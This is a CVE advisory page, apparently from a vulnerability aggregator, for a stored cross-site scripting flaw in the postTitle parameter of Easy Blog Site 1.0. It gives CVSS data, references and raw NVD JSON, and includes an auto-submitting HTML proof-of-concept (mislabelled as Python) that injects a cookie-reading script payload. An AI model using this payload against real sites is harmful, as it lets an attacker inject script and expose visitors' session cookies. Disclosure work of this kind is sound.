CVE-2026-5806

Description

A security vulnerability has been detected in code-projects Easy Blog Site 1.0. This affects an unknown function of the file /posts/update.php. The manipulation of the argument postTitle leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used.

CVSS Details

CVSS Score

3.5

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

code-projects Easy Blog Site 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC Code for CVE-2026-5806 -->
<!-- Target: /posts/update.php -->
<!-- Parameter: postTitle -->

<html>
  <body>
    <form action="http://target-site/posts/update.php" method="POST">
      <input type="hidden" name="postTitle" value="<script>alert(document.cookie)</script>" />
      <input type="hidden" name="postContent" value="Malicious content" />
      <input type="submit" value="Submit" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5806
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5806
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5806/
[4] VulDB https://vuldb.com/cve/CVE-2026-5806
[5] https://code-projects.org/
[6] https://github.com/ahmadmarz10-hub/CVEsMarz/blob/main/Stored%20Cross-Site%20Scripting%20(XSS)%20in%20Easy%20Blog%20Site%20PHP%20postTitle%20Parameter.md
[7] https://vuldb.com/submit/787045
[8] https://vuldb.com/vuln/356244
[9] https://vuldb.com/vuln/356244/cti

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5806", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:24.683", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in code-projects Easy Blog Site 1.0. This affects an unknown function of the file /posts/update.php. The manipulation of the argument postTitle leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]"}, {"url": "https://github.com/ahmadmarz10-hub/CVEsMarz/blob/main/Stored%20Cross-Site%20Scripting%20(XSS)%20in%20Easy%20Blog%20Site%20PHP%20postTitle%20Parameter.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/787045", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/356244", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/356244/cti", "source": "[email protected]"}]}}